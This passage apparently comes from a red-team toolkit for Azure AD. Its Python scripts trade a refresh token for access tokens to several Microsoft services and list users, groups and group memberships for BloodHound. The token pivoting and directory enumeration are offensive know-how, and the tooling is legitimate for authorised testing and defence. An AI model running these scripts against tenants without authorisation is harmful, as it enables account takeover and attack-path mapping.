'https://management.azure.com' 40 | 41 | # Graph (For use with Az/AzureAD/AADInternals) 42 | GRAPH = 'https://graph.windows.net' 43 | 44 | # Microsoft Graph (Microsoft is moving towards this from graph in 2022) 45 | MS_GRAPH = 'https://graph.microsoft.com' 46 | 47 | # Microsoft Manage 48 | MS_MANAGE = 'https://enrollment.manage.microsoft.com' 49 | 50 | # Microsoft Teams 51 | TEAMS = 'https://api.spaces.skype.com' 52 | 53 | # Microsoft Office Apps 54 | OFFICE_APPS = 'https://officeapps.live.com' 55 | 56 | # Microsoft Office Management 57 | OFFICE_MANAGE = 'https://manage.office.com' 58 | 59 | # Microsoft Outlook 60 | OUTLOOK = 'https://outlook.office365.com' 61 | 62 | # Substrate 63 | SUBSTRATE = 'https://substrate.office.com' 64 | 65 | # Microsoft 365 Admin Center 66 | M365_ADMIN = 'https://admin.microsoft.com' 67 | 68 | # User agent to use with requests 69 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 70 | 71 | DESCRIPTION = ''' 72 | ===================================================================================== 73 | # Requests a new access token for a Microsoft/Azure resource using a refresh token. # 74 | # # 75 | # This script will attempt to load a refresh token from a REFRESH_TOKEN # 76 | # environment variable if none is passed with '-r' or '-R'. # 77 | ===================================================================================== 78 | ''' 79 | 80 | # Setup argparse stuff 81 | RESOURCE_CHOICES = [ 82 | 'win_core_management', 83 | 'azure_management', 84 | 'graph', 85 | 'ms_graph', 86 | 'ms_manage', 87 | 'teams', 88 | 'office_apps', 89 | 'office_manage', 90 | 'outlook', 91 | 'substrate', 92 | 'm365_admin' 93 | ] 94 | 95 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 96 | 97 | # Set up our colors 98 | colorama.init() 99 | SUCCESS = colorama.Fore.GREEN 100 | DANGER = colorama.Fore.RED 101 | WARNING = colorama.Fore.YELLOW 102 | RESET = colorama.Style.RESET_ALL 103 | 104 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 105 | 106 | def main(): 107 | """ 108 | Main runner function 109 | 110 | Takes in a refresh token and target resource 111 | Returns a new access token + refresh token 112 | pair for target resource 113 | """ 114 | arg_parser = argparse.ArgumentParser(prog='token_juggle.py', 115 | usage=SUCCESS + '%(prog)s' + WARNING + ' ' + \ 116 | RESET +'[-r \'refresh_token\' | -R \'./path/to/refresh_token.json\']', 117 | description=DESCRIPTION, 118 | formatter_class=argparse.RawDescriptionHelpFormatter) 119 | arg_parser.add_argument('Resource', 120 | metavar='resource', 121 | type=str, 122 | help='The target Microsoft/Azure resource.\nChoose from the following: ' + \ 123 | str(RESOURCE_CHOICES).replace('\'', '').replace('[','').replace(']',''), 124 | choices=RESOURCE_CHOICES) 125 | arg_parser.add_argument('-r', 126 | '--refresh_token', 127 | metavar='', 128 | dest='refresh_token', 129 | type=str, 130 | help='(string) The refresh token you would like to use.', 131 | required=False) 132 | arg_parser.add_argument('-R', 133 | '--refresh_token_file', 134 | metavar='', 135 | dest='refresh_token_file', 136 | type=str, 137 | help='(string) A JSON file saved from this script ' \ 138 | 'containing the refresh token you would like to use.', 139 | required=False) 140 | arg_parser.add_argument('-o', 141 | '--outfile', 142 | metavar='', 143 | dest='outfile_path', 144 | type=str, 145 | help='(string) The path/filename of where you want '\ 146 | 'the new token data (json object) saved.'\ 147 | '\nIf not supplied, script defaults to '\ 148 | '"./YYYY-MM-DD_HH-MM-SS__token.json"', 149 | required=False) 150 | 151 | args = arg_parser.parse_args() 152 | 153 | # Set a default outfile if none is given 154 | outfile = args.outfile_path 155 | if outfile is None: 156 | outfile = time.strftime('%Y-%m-%d_%H-%M-%S_' + args.Resource + '_token.json') 157 | 158 | # Initializing 159 | refresh_token = '' 160 | 161 | # Set our resource based on position argument 162 | if args.Resource == 'win_core_management': 163 | resource = WIN_CORE_MANAGEMENT 164 | elif args.Resource == 'azure_management': 165 | resource = AZURE_MANAGEMENT 166 | elif args.Resource == 'graph': 167 | resource = GRAPH 168 | elif args.Resource == 'ms_graph': 169 | resource = MS_GRAPH 170 | elif args.Resource == 'ms_manage': 171 | resource = MS_MANAGE 172 | elif args.Resource == 'teams': 173 | resource = TEAMS 174 | elif args.Resource == 'office_apps': 175 | resource = OFFICE_APPS 176 | elif args.Resource == 'office_manage': 177 | resource = OFFICE_MANAGE 178 | elif args.Resource == 'outlook': 179 | resource = OUTLOOK 180 | elif args.Resource == 'substrate': 181 | resource = SUBSTRATE 182 | elif args.Resource == 'm365_admin': 183 | resource = M365_ADMIN 184 | else: 185 | print(DANGER, '\nYou provided in invalid resource name.') 186 | print(RESET) 187 | arg_parser.print_help() 188 | sys.exit() 189 | 190 | # Check to see if any refresh token is given in the arguments 191 | # If both are given, will use -r 192 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 193 | if args.refresh_token is None and args.refresh_token_file is None: 194 | try: 195 | refresh_token = os.environ['REFRESH_TOKEN'] 196 | except KeyError: 197 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 198 | arg_parser.print_help() 199 | sys.exit() 200 | elif args.refresh_token is None: 201 | path = args.refresh_token_file 202 | try: 203 | with open(path, encoding='UTF-8') as json_file: 204 | json_file_data = json.load(json_file) 205 | json_file.close() 206 | except OSError as error: 207 | print(str(error)) 208 | sys.exit() 209 | refresh_token = json_file_data['refresh_token'] 210 | else: 211 | refresh_token = args.refresh_token 212 | 213 | # Setting up our post request 214 | headers = { 215 | 'User-Agent': USER_AGENT 216 | } 217 | 218 | data = { 219 | 'client_id': CLIENT_ID, 220 | 'resource': resource, 221 | 'grant_type': 'refresh_token', 222 | 'refresh_token': refresh_token, 223 | 'scope': 'openid', 224 | 'optionalClaims': { 225 | 'accessToken': [ 226 | {'name': 'acct'}, # User account status (tenant member = 0; guest = 1) 227 | {'name': 'auth_time'}, # Time when the user last authenticated 228 | {'name': 'ctry'}, # Users country/region 229 | {'name': 'email'}, # Reported user email address 230 | {'name': 'fwd'}, # Original IPv4 Address of requesting client (when inside VNET) 231 | {'name': 'groups'}, # GroupMembership 232 | {'name': 'idtyp'}, # App for app-only token, or app+user 233 | {'name': 'login_hint'}, # Login hint 234 | {'name': 'sid'}, # Session ID 235 | {'name': 'tenant_ctry'}, # Tenant Country 236 | {'name': 'tenant_region_scope'}, # Tenant Region 237 | {'name': 'upn'}, # UserPrincipalName 238 | {'name': 'verified_primary_email'}, # User's PrimaryAuthoritativeEmail 239 | {'name': 'verified_secondary_email'}, # User's SecondaryAuthoritativeEmail 240 | {'name': 'vnet'}, # VNET specifier 241 | {'name': 'xms_pdl'}, # Preferred data location 242 | {'name': 'xms_pl'}, # User's preferred language 243 | {'name': 'xms_tpl'}, # Target Tenants preferred language 244 | {'name': 'ztdid'}, # Device Identity used for Windows AutoPilot 245 | {'name': 'ipaddr'}, # IP Address the client logged in from 246 | {'name': 'onprem_sid'}, # On-Prem Security Identifier 247 | {'name': 'pwd_exp'}, # Password Expiration Time (datetime) 248 | {'name': 'pwd_url'}, # Change password URL 249 | {'name': 'in_corp'}, # If client logs in within the corporate network (based off "trusted IPs") 250 | {'name': 'family_name'}, # Last Name 251 | {'name': 'given_name'}, # First Name 252 | {'name': 'upn'}, # User Principal Name 253 | {'name': 'aud'}, # Audience/Resource the token is for 254 | {'name': 'preferred_username'}, # Preferred username 255 | ] 256 | } 257 | } 258 | 259 | # Sending the request 260 | json_data = {} 261 | try: 262 | response = requests.post(URI, data=data, headers=headers) 263 | json_data = response.json() 264 | response.raise_for_status() 265 | except requests.exceptions.HTTPError: 266 | print(DANGER) 267 | print(json_data['error']) 268 | print(json_data['error_description']) 269 | print(RESET) 270 | sys.exit() 271 | 272 | # Write the new token data to file 273 | with open(outfile, 'w+', encoding='UTF-8') as file: 274 | file.write(json.dumps(json_data)) 275 | file.close() 276 | 277 | # Show the user the requested access and refresh tokens 278 | print(SUCCESS + 'Resource:\n' + RESET + json_data['resource'] + '\n') 279 | print(SUCCESS + 'Scope:\n' + RESET + json_data['scope'] + '\n') 280 | print(SUCCESS + 'Access Token:\n' + RESET + json_data['access_token'] + '\n') 281 | print(SUCCESS + 'Refresh Token:\n' + RESET + json_data['refresh_token'] + '\n') 282 | 283 | # Calculate the expired time 284 | expires = json_data['expires_on'] 285 | print(SUCCESS + 'Expires On:\n' + RESET + time.ctime(int(expires))) 286 | 287 | if __name__ == '__main__': 288 | main() 289 | sys.exit() 290 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/README.md: -------------------------------------------------------------------------------- 1 | # Azure AD 2 | 3 | This set of modules are meant for targetting Azure AD data. Each module will output a set of data files for further analysis. Support is provided for bloodhound compatible data files in each module. Microsoft is deprecating the use of the Azure AD Graph API on June 30 2022. So, these modules are not going to use any of the now deprecated API calls. Rather, they will be using other available APIs including the currently supported Microsoft Graph API. 4 | 5 | ## General Functionality 6 | 7 | Each of these modules will output a set of files. All include a raw json response file and a bloodhound compatible json file. Some include a condensed json output file. Usage of these modules is flexible. You may supply the required access token, or a refresh token via script arguments. You may also define an envrionment variable that contains a refresh token. This is the recommended way, and each module will handle the token requests to get the appropriate access token type. 8 | 9 | ## Installation 10 | 11 | ```bash 12 | git clone https://github.com/blacklanternsecurity/offensive-azure.git 13 | cd ./offensive-azure/Azure_AD/ 14 | pipenv shell 15 | pip install -r requirements.txt 16 | ``` 17 | 18 | ## get_vms Usage 19 | 20 | ```bash 21 | usage: get_vms.py [-t|--arm_token ] [-r|--refresh_token ] 22 | 23 | ========================================================== 24 | # # 25 | # Uses Azure Resource Management API to pull a full # 26 | # list of virtual machines. # 27 | # # 28 | # If no ARM token or refresh_token is supplied, # 29 | # module will look in the REFRESH_TOKEN environment # 30 | # variable and request the ARM token # 31 | # # 32 | # Outputs a raw json output file, and a json file # 33 | # compatible with BloodHound # 34 | # # 35 | ========================================================== 36 | 37 | optional arguments: 38 | -h, --help show this help message and exit 39 | -t , --arm_token 40 | The ARM token you would like to use 41 | -r , --refresh_token 42 | The refresh token you would like to use 43 | -R , --refresh_token_file 44 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 45 | -o , --outfile_path 46 | The path of where you want the virtual machine data saved. If not supplied, module defaults to the current directory. 47 | ``` 48 | 49 | ## get_resource_groups Usage 50 | 51 | ```bash 52 | usage: get_resource_groups.py [-t|--arm_token ] [-r|--refresh_token ] 53 | 54 | ========================================================== 55 | # # 56 | # Uses Azure Resource Management API to pull a full # 57 | # list of resource groups. # 58 | # # 59 | # If no ARM token or refresh_token is supplied, # 60 | # module will look in the REFRESH_TOKEN environment # 61 | # variable and request the ARM token # 62 | # # 63 | # Outputs a raw json output file, and a json file # 64 | # compatible with BloodHound # 65 | # # 66 | ========================================================== 67 | 68 | optional arguments: 69 | -h, --help show this help message and exit 70 | -t , --arm_token 71 | The ARM token you would like to use 72 | -r , --refresh_token 73 | The refresh token you would like to use 74 | -R , --refresh_token_file 75 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 76 | -o , --outfile_path 77 | The path of where you want the resource group data saved. If not supplied, module defaults to the current directory. 78 | ``` 79 | 80 | ## get_subscriptions Usage 81 | 82 | ```bash 83 | usage: get_subscriptions.py [-t|--arm_token ] [-r|--refresh_token ] 84 | 85 | ========================================================== 86 | # # 87 | # Uses Azure Resource Management API to pull a full # 88 | # list of subscriptions. # 89 | # # 90 | # If no ARM token or refresh_token is supplied, # 91 | # module will look in the REFRESH_TOKEN environment # 92 | # variable and request the ARM token # 93 | # # 94 | # Outputs condensed results in a text file, a raw json # 95 | # output file, and a json file compatible with # 96 | # BloodHound # 97 | # # 98 | ========================================================== 99 | 100 | optional arguments: 101 | -h, --help show this help message and exit 102 | -t , --arm_token 103 | The ARM token you would like to use 104 | -r , --refresh_token 105 | The refresh token you would like to use 106 | -R , --refresh_token_file 107 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 108 | -o , --outfile_path 109 | The path of where you want the subscription data saved. If not supplied, module defaults to the current directory. 110 | ``` 111 | 112 | ## get_group_members Usage 113 | 114 | ```bash 115 | usage: get_group_members.py [-t|--graph_token ] [-r|--refresh_token ] 116 | 117 | ========================================================== 118 | # # 119 | # Uses the Microsoft Graph API to pull a full list of # 120 | # user group membership details. # 121 | # # 122 | # If no ms_graph token or refresh_token is supplied, # 123 | # module will look in the REFRESH_TOKEN environment # 124 | # variable and request the ms_graph token # 125 | # # 126 | # Outputs condensed results in a text file, a raw json # 127 | # output file, and a json file compatible with # 128 | # BloodHound # 129 | # # 130 | ========================================================== 131 | 132 | optional arguments: 133 | -h, --help show this help message and exit 134 | -t , --graph_token 135 | The ms_graph token you would like to use 136 | -r , --refresh_token 137 | The refresh token you would like to use 138 | -R , --refresh_token_file 139 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 140 | -o , --outfile_path 141 | The path of where you want the group membership data saved. If not supplied, module defaults to the current directory. 142 | ``` 143 | 144 | ## get_groups Usage 145 | 146 | ```bash 147 | usage: get_groups.py [-t|--graph_token ] [-r|--refresh_token ] 148 | 149 | ========================================================== 150 | # # 151 | # Uses the Microsoft Graph API to pull a full list of # 152 | # group details. # 153 | # # 154 | # If no ms_graph token or refresh_token is supplied, # 155 | # module will look in the REFRESH_TOKEN environment # 156 | # variable and request the ms_graph token # 157 | # # 158 | # Outputs condensed results in a text file, a raw json # 159 | # output file, and a json file compatible with # 160 | # BloodHound # 161 | # # 162 | ========================================================== 163 | 164 | optional arguments: 165 | -h, --help show this help message and exit 166 | -t , --graph_token 167 | The ms_graph token you would like to use 168 | -r , --refresh_token 169 | The refresh token you would like to use 170 | -R , --refresh_token_file 171 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 172 | -o , --outfile_path 173 | The path of where you want the group data saved. If not supplied, module defaults to the current directory. 174 | ``` 175 | 176 | ## get_users Usage 177 | 178 | ```bash 179 | usage: get_users.py [-t|--graph_token ] [-r|--refresh_token ] 180 | 181 | ========================================================== 182 | # # 183 | # Uses the Microsoft Graph API to pull a full list of # 184 | # user details. # 185 | # # 186 | # If no ms_graph token or refresh_token is supplied, # 187 | # module will look in the REFRESH_TOKEN environment # 188 | # variable and request the ms_graph token # 189 | # # 190 | # Outputs condensed results in a text file, a raw json # 191 | # output file, and a json file compatible with # 192 | # BloodHound # 193 | # # 194 | ========================================================== 195 | 196 | optional arguments: 197 | -h, --help show this help message and exit 198 | -t , --graph_token 199 | The ms_graph token you would like to use 200 | -r , --refresh_token 201 | The refresh token you would like to use 202 | -R , --refresh_token_file 203 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 204 | -o , --outfile_path 205 | The path of where you want the user data saved. If not supplied, module defaults to the current directory. 206 | ``` 207 | 208 | ## get_tenant Usage 209 | 210 | ```bash 211 | usage: get_tenant.py [-t|--access_token ] [-r|--refresh_token ] 212 | 213 | ========================================================== 214 | # # 215 | # If no access token or refresh_token is supplied, # 216 | # module will look in the REFRESH_TOKEN environment # 217 | # variable and request an access token # 218 | # # 219 | # Outputs results in a text file, and a json file # 220 | # compatible with BloodHound # 221 | # # 222 | ========================================================== 223 | 224 | optional arguments: 225 | -h, --help show this help message and exit 226 | -t , --access_token 227 | The access token you would like to use 228 | -r , --refresh_token 229 | The refresh token you would like to use 230 | -R , --refresh_token_file 231 | A JSON file saved from token_juggle.py containing the refresh token you would like to use. 232 | -o , --outfile_path 233 | The path of where you want the tenant data saved. If not supplied, module defaults to the current directory. 234 | ``` -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_group_members.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import json 24 | import argparse 25 | import colorama 26 | import requests 27 | 28 | DESCRIPTION = ''' 29 | ========================================================== 30 | # # 31 | # Uses the Microsoft Graph API to pull a full list of # 32 | # user group membership details. # 33 | # # 34 | # If no ms_graph token or refresh_token is supplied, # 35 | # module will look in the REFRESH_TOKEN environment # 36 | # variable and request the ms_graph token # 37 | # # 38 | # Outputs condensed results in a text file, a raw json # 39 | # output file, and a json file compatible with # 40 | # BloodHound # 41 | # # 42 | ========================================================== 43 | ''' 44 | 45 | # Set up our colors 46 | colorama.init() 47 | SUCCESS = colorama.Fore.GREEN 48 | DANGER = colorama.Fore.RED 49 | WARNING = colorama.Fore.YELLOW 50 | RESET = colorama.Style.RESET_ALL 51 | VALID = colorama.Fore.CYAN 52 | 53 | # For use querying graph api for users and group membership 54 | USERS_ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users?$select=' 55 | GROUPS_ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users/' 56 | GROUPS_ENDPOINT_END = '/transitiveMemberOf' 57 | 58 | USERS_SELECT_PARAMS_DICT = { 59 | 'id': 'UID_Object_ID', # unique identifier / objectId 60 | 'displayName': 'Display_Name', # Name displayed in address book 61 | 'userType': 'User_Type', # Member | Guest 62 | 'onPremisesSecurityIdentifier': 'Security_Identifier_(SID)_On-Prem' 63 | } 64 | 65 | USERS_SELECT_PARAMS = [] 66 | for param_key in USERS_SELECT_PARAMS_DICT: 67 | USERS_SELECT_PARAMS.append(param_key) 68 | 69 | USERS_SELECT_PARAMS_STRING = str(USERS_SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '') 70 | 71 | USER_ENDPOINT = USERS_ENDPOINT_BASE + USERS_SELECT_PARAMS_STRING 72 | 73 | # For use when requesting new access tokens with refresh token 74 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 75 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 76 | 77 | # User agent to use with requests 78 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 79 | 80 | def main(): 81 | """Runner method""" 82 | arg_parser = argparse.ArgumentParser( 83 | prog='get_group_members.py', 84 | usage=SUCCESS + '%(prog)s' + RESET + \ 85 | ' [-t|--graph_token ]' + \ 86 | ' [-r|--refresh_token ]', 87 | description=DESCRIPTION, 88 | formatter_class=argparse.RawDescriptionHelpFormatter) 89 | arg_parser.add_argument( 90 | '-t', 91 | '--graph_token', 92 | metavar='', 93 | dest='graph_token', 94 | type=str, 95 | help='The ms_graph token you would like to use', 96 | required=False) 97 | arg_parser.add_argument( 98 | '-r', 99 | '--refresh_token', 100 | metavar='', 101 | dest='refresh_token', 102 | type=str, 103 | help='The refresh token you would like to use', 104 | required=False) 105 | arg_parser.add_argument('-R', 106 | '--refresh_token_file', 107 | metavar='', 108 | dest='refresh_token_file', 109 | type=str, 110 | help='A JSON file saved from token_juggle.py ' \ 111 | 'containing the refresh token you would like to use.', 112 | required=False) 113 | arg_parser.add_argument('-o', 114 | '--outfile_path', 115 | metavar='', 116 | dest='outfile_path', 117 | type=str, 118 | help='The path of where you want '\ 119 | 'the group membership data saved.'\ 120 | '\nIf not supplied, module defaults to '\ 121 | 'the current directory.', 122 | required=False) 123 | 124 | args = arg_parser.parse_args() 125 | 126 | # Handle outfile path 127 | outfile_path_base = args.outfile_path 128 | if outfile_path_base is None: 129 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_') 130 | elif outfile_path_base[-1] != '/': 131 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_') 132 | outfile_raw_json = outfile_path_base + 'group_members_raw.json' 133 | outfile_condensed = outfile_path_base + 'group_members_condensed.json' 134 | outfile_bloodhound = outfile_path_base + 'group_members_bloodhound.json' 135 | 136 | # Check to see if any graph or refresh token is given in the arguments 137 | # If both are given, will use graph token 138 | # If no token given, will check for a refresh token file 139 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable 140 | if args.refresh_token is None and args.graph_token is None and \ 141 | args.refresh_token_file is None: 142 | try: 143 | refresh_token = os.environ['REFRESH_TOKEN'] 144 | except KeyError: 145 | print(DANGER, '\n\tNo refresh token found.\n', RESET) 146 | arg_parser.print_help() 147 | sys.exit() 148 | elif args.refresh_token is None and args.graph_token is None: 149 | path = args.refresh_token_file 150 | try: 151 | with open(path, encoding='UTF-8') as json_file: 152 | json_file_data = json.load(json_file) 153 | json_file.close() 154 | except OSError as error: 155 | print(str(error)) 156 | sys.exit() 157 | refresh_token = json_file_data['refresh_token'] 158 | elif args.graph_token is not None: 159 | graph_token = args.graph_token 160 | else: 161 | refresh_token = args.refresh_token 162 | 163 | # If we have a refresh token, use it to request the necessary graph access token 164 | if refresh_token is not None: 165 | # Setting up our post request 166 | headers = { 167 | 'User-Agent': USER_AGENT 168 | } 169 | # body of our request 170 | data = { 171 | 'client_id': CLIENT_ID, 172 | 'resource': 'https://graph.microsoft.com', 173 | 'grant_type': 'refresh_token', 174 | 'refresh_token': refresh_token, 175 | 'scope': 'openid', 176 | } 177 | 178 | # Sending the request 179 | json_data = {} 180 | try: 181 | response = requests.post(URI, data=data, headers=headers) 182 | json_data = response.json() 183 | response.raise_for_status() 184 | except requests.exceptions.HTTPError: 185 | print(DANGER) 186 | print(json_data['error']) 187 | print(json_data['error_description']) 188 | print(RESET) 189 | sys.exit() 190 | graph_token = json_data['access_token'] 191 | 192 | 193 | # Getting our first (only?) page of user results 194 | headers = { 195 | 'Authorization': 'Bearer ' + graph_token 196 | } 197 | response = requests.get(USER_ENDPOINT, headers=headers).json() 198 | raw_user_json_data = {'value': []} 199 | try: 200 | response_users = response['value'] 201 | except KeyError: 202 | print(response) 203 | print(f'{DANGER}Error retrieving users{RESET}') 204 | sys.exit() 205 | for user in response_users: 206 | raw_user_json_data['value'].append(user) 207 | try: 208 | next_link = response['@odata.nextLink'] 209 | except KeyError: 210 | next_link = None 211 | 212 | # If next_link is not None, then the results are paged 213 | # We iterate through the paged results to build out our full user list 214 | while next_link is not None: 215 | response = requests.get(next_link, headers=headers).json() 216 | response_users = response['value'] 217 | for user in response_users: 218 | raw_user_json_data['value'].append(user) 219 | try: 220 | next_link = response['@odata.nextLink'] 221 | except KeyError: 222 | next_link = None 223 | 224 | # At this point we have a full user collection 225 | # We will use this collection to query group transitive membership 226 | raw_group_json_data = {'value': {}} 227 | for user in raw_user_json_data['value']: 228 | raw_group_json_data['value'][user['id']] = { 229 | 'id': str(user['id']), 230 | 'displayName': str(user['displayName']), 231 | 'userType': str(user['userType']), 232 | 'onPremisesSecurityIdentifier': str(user['onPremisesSecurityIdentifier']), 233 | 'memberOf': [] 234 | } 235 | group_membership_endpoint = GROUPS_ENDPOINT_BASE + user['id'] + GROUPS_ENDPOINT_END 236 | group_membership_resp = requests.get(group_membership_endpoint, headers=headers).json() 237 | for member_of_group in group_membership_resp['value']: 238 | raw_group_json_data['value'][user['id']]['memberOf'].append(member_of_group) 239 | try: 240 | next_link = group_membership_resp['@odata.nextLink'] 241 | except KeyError: 242 | next_link = None 243 | # If next_link is not None, then the results are paged 244 | # We iterate through the paged results to build out our full memberOf list 245 | while next_link is not None: 246 | group_membership_resp = requests.get(next_link, headers=headers).json() 247 | for member_of_group in group_membership_resp['value']: 248 | raw_group_json_data['value'][user['id']]['memberOf'].append(member_of_group) 249 | try: 250 | next_link = group_membership_resp['@odata.nextLink'] 251 | except KeyError: 252 | next_link = None 253 | 254 | count = 0 255 | 256 | # Processing raw data 257 | condensed_group_json_data = {} 258 | bloodhound_data = [] 259 | for properties in raw_group_json_data['value'].values(): 260 | print(f'{VALID}[+]{RESET} {properties["displayName"]}:') 261 | condensed_group_json_data[properties['id']] = { 262 | 'id': properties['id'], 263 | 'userType': properties['userType'], 264 | 'onPremisesSecurityIdentifier': properties['onPremisesSecurityIdentifier'], 265 | 'memberOf': {} 266 | } 267 | print() 268 | print(f'{SUCCESS}Object ID{RESET}: {properties["id"]}') 269 | print(f'{SUCCESS}User Type{RESET}: {properties["userType"]}') 270 | print(f'{SUCCESS}On-Prem SID{RESET}: {properties["onPremisesSecurityIdentifier"]}') 271 | print(f'{SUCCESS}Member Of{RESET}:') 272 | for group_member_of in properties['memberOf']: 273 | count = count + 1 274 | if properties['userType'] == 'Member': 275 | user_type = 'User' 276 | else: 277 | user_type = properties['userType'] 278 | if properties['onPremisesSecurityIdentifier'] == 'None': 279 | user_security_identifier = '' 280 | else: 281 | user_security_identifier = properties['onPremisesSecurityIdentifier'] 282 | try: 283 | security_identifier = group_member_of['onPremisesSecurityIdentifier'] 284 | except KeyError: 285 | security_identifier = '' 286 | bloodhound_data.append({ 287 | 'GroupName': group_member_of['displayName'], 288 | 'GroupID': group_member_of['id'], 289 | 'GroupOnPremID': security_identifier, 290 | 'MemberName': properties['displayName'], 291 | 'MemberID': properties['id'], 292 | 'MemberType': user_type, 293 | 'MemberOnPremID': user_security_identifier 294 | }) 295 | condensed_group_json_data[properties['id']]['memberOf'][group_member_of['id']] = {} 296 | print(f'\t{SUCCESS}Group{RESET}: {group_member_of["displayName"]}') 297 | for prop, val in group_member_of.items(): 298 | if val is not None: 299 | condensed_group_json_data[properties['id']]['memberOf'][group_member_of['id']][prop] = val 300 | if val is not None and prop not in ['displayName','proxyAddresses','@odata.type']: 301 | print(f'\t\t{SUCCESS}{prop}{RESET}: {str(val)}') 302 | print() 303 | 304 | # Writing to raw_json_out 305 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}') 306 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out: 307 | json.dump(raw_group_json_data, raw_json_out, indent=4) 308 | 309 | # Writing condensed_json_out 310 | print(f'{SUCCESS}[+]{RESET} Writing condensed data to {outfile_condensed}') 311 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out: 312 | json.dump(condensed_group_json_data, condensed_json_out, indent=4) 313 | 314 | # Writing BloodHound compatible azgroupmembers.json 315 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}') 316 | bloodhound_json_data = { 317 | 'meta': { 318 | 'count': count, 319 | 'type': 'azgroupmembers', 320 | 'version': 4 321 | }, 322 | 'data': bloodhound_data 323 | } 324 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out: 325 | json.dump(bloodhound_json_data, bloodhound_out, indent=4) 326 | 327 | 328 | if __name__ == '__main__': 329 | main() 330 | sys.exit() 331 | -------------------------------------------------------------------------------- /offensive_azure/Azure_AD/get_groups.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import os 21 | import sys 22 | import time 23 | import base64 24 | import json 25 | import argparse 26 | import colorama 27 | import requests 28 | 29 | DESCRIPTION = ''' 30 | ========================================================== 31 | # # 32 | # Uses the Microsoft Graph API to pull a full list of # 33 | # group details. # 34 | # # 35 | # If no ms_graph token or refresh_token is supplied, # 36 | # module will look in the REFRESH_TOKEN environment # 37 | # variable and request the ms_graph token # 38 | # # 39 | # Outputs condensed results in a text file, a raw json # 40 | # output file, and a json file compatible with # 41 | # BloodHound # 42 | # # 43 | ========================================================== 44 | ''' 45 | 46 | # Set up our colors 47 | colorama.init() 48 | SUCCESS = colorama.Fore.GREEN 49 | DANGER = colorama.Fore.RED 50 | WARNING = colorama.Fore.YELLOW 51 | RESET = colorama.Style.RESET_ALL 52 | VALID = colorama.Fore.CYAN 53 | 54 | # For use querying graph api for users 55 | ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/groups?$select=' 56 | 57 | # For use when requesting new access tokens with refresh token 58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token' 59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 60 | 61 | # User agent to use with requests 62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' 63 | 64 | SELECT_PARAMS_DICT = { 65 | 'allowExternalSender': 'External_Users_Can_Talk_To_Group', 66 | 'assignedLabels': 'M365_Sensitivity_Label_Pairs', 67 | 'assignedLicenses': 'Licenses_Assigned_To_Group', 68 | #'autoSubscribeNewMembers': 'New_Members_Subscribed_Automatically', Not Implemented 69 | 'classification': 'Assigned_Classification', 70 | 'createdDateTime': 'Time_Group_Created', 71 | 'deletedDateTime': 'Time_Group_Deleted', 72 | 'description': 'Group_Description', 73 | 'displayName': 'Group_Display_Name', 74 | 'expirationDateTime': 'Time_Group_Expires', 75 | 'groupTypes': 'Group_Type', 76 | # Unified = M365 Group, DynamicMembership = Group has dynamic membership 77 | # Otherwise group is a security or distribution group 78 | #'hasMembersWithLicenseErrors': 'Members_Have_Licensing_Errors', Filter Only 79 | #'hideFromAddressLists': 'Hidden_From_Outlook_UI', Not Implemented 80 | #'hideFromOutlookClients': 'Hidden_From_Outlook_Clients', Not Implemented 81 | 'id': 'Object_ID', 82 | #'isArchived': 